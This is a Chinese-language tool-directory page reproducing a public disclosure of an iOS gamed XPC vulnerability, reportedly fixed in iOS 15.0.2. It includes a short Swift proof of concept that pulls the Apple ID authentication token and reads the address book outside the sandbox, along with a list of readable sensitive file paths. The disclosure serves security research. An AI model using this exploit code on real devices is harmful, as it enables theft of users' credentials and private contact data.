Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
ios-gamed-0day — iOS 游戏漏洞(已在 15.0.2 中修复) | Kitploit
工具/GitHubGitHub/illusionofchaos/ios-gamed-0day
权限提升iOS安全漏洞分析漏洞利用信息收集移动安全
GitHubillusionofchaos/ios-gamed-0day

ios-gamed-0day

iOS 游戏漏洞(已在 15.0.2 中修复)

查看仓库
4368144年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
网站

iOS gamed 漏洞(已在 15.0.2 中修复)

更新:Apple 已在 iOS 15.0.2 中悄悄修复了此问题,未给予任何形式的公开确认或致谢。

任何从 App Store 安装的应用均可在无需用户任何提示的情况下访问以下数据:

  • 与 Apple ID 关联的电子邮件地址和全名
  • Apple ID 身份验证令牌,允许以用户身份访问 *.apple.com 上的至少一个端点
  • 对 Core Duet 数据库的完整文件系统读取权限(包含来自邮件、短信、iMessage、第三方消息应用的联系人列表,以及用户与这些联系人所有交互的元数据(包括时间戳和统计数据)),以及部分附件(如 URL 和文本)
  • 对快速拨号数据库和通讯录数据库的完整文件系统读取权限,包括联系人照片以及创建和修改日期等其他元数据(我刚刚在 iOS 15 上检查过,此项已无法访问,因此它一定是被悄悄修复了)

以下是一个简短的概念验证(Proof of Concept)。

root@kitploit:~
let connection = NSXPCConnection(machServiceName: "com.apple.gamed", options: NSXPCConnection.Options.privileged)!
let proxy = connection.remoteObjectProxyWithErrorHandler({ _ in }) as! GKDaemonProtocol
let pid = ProcessInfo.processInfo.processIdentifier
proxy.getServicesForPID(pid, localPlayer: nil, reply: { (accountService, _, _, _, _, _, _, _, utilityService, _, _, _, _) in
	accountService.authenticatePlayerWithExistingCredentials(handler: { response, error in
		let appleID = response.credential.accountName
		let token = response.credential.authenticationToken
	}

	utilityService.requestImageData(for: URL(fileURLWithPath: "/var/mobile/Library/AddressBook/AddressBook.sqlitedb"), subdirectory: nil, fileName: nil, handler: { data in
		let addressBookData = data
	}
}

漏洞成因:

  • XPC 服务 com.apple.gamed 未正确检查 com.apple.developer.game-center 权限
  • 即使设备上已禁用 Game Center,调用 getServicesForPID:localPlayer:reply: 仍会返回多个 XPC 代理对象(GKAccountService、GKFriendService、GKUtilityService 等)。
  • 如果设备上已启用 Game Center(即使未在 App Store Connect 中为该应用启用,且应用不包含 com.apple.developer.game-center 权限),在 GKAccountService 上调用 authenticatePlayerWithExistingCredentialsWithHandler: 会返回一个包含用户 Apple ID、DSID 和 Game Center 身份验证令牌的对象(该令牌允许以用户身份向 https://gc.apple.com 发送请求)。在 GKProfileService 上调用 getProfilesForPlayerIDs:handler: 会返回一个包含用户 Apple ID 名字和姓氏的对象。在 GKFriendService 上调用 getFriendsForPlayer:handler: 会返回一个包含用户 Game Center 好友信息的对象。
  • 即使 Game Center 已禁用、未在 App Store Connect 中为该应用启用,且应用不包含 com.apple.developer.game-center 权限,在 GKUtilityService 上调用 requestImageDataForURL:subdirectory:fileName:handler: 仍可通过向该方法传递文件 URL 来读取应用沙盒之外的任意文件。通过这种方式可以访问的文件包括(但不限于)以下: /var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/com.apple.MobileGestalt.plist - 包含 Mobile Gestalt 缓存 /var/mobile/Library/CoreDuet/People/interactionC.db - 包含来自邮件、短信、iMessage、第三方消息应用的联系人列表,以及用户与这些联系人交互的元数据(包括时间戳和统计数据) /var/mobile/Library/Preferences/com.apple.mobilephone.speeddial.plist - 包含常用联系人及其电话号码 /var/mobile/Library/AddressBook/AddressBook.sqlitedb - 包含完整的通讯录数据库 /var/mobile/Library/AddressBook/AddressBookImages.sqlitedb - 包含通讯录联系人的照片
  • 在 GKUtilityService 上调用 cacheImageData:inSubdirectory:withFileName:handler: 可能允许将任意数据写入应用沙盒之外的位置。

根据 Apple 安全赏金计划页面,此漏洞的评估价值为 100,000 美元(应用可广泛访问通常受 TCC 提示或平台沙盒保护的敏感数据。“敏感数据”访问包括从通讯录获取广泛的访问权限(即整个数据库))。

下载工具